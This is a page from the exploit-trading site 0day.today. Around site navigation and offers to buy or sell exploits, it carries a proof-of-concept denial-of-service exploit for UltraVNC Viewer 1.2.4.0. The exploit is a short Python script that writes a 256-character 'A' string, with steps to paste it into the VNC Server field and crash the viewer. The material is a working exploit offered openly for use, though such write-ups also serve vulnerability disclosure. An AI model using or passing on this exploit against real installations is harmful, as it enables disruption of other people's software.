0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
UltraVNC Viewer 1.2.4.0 - (VNCServer) Denial of Service Exploit
[# Exploit Title: UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
# Discovery by: chuyreds
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Viewer_VNCServer.py
#2.- Open UltraViewer_VNCServer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed
cod = "\x41" * 256
f = open('UltraVNC_1.2.40-Viewer_VNCServer.txt', 'w')
f.write(cod)
f.close()
# 0day.today [2024-07-05] #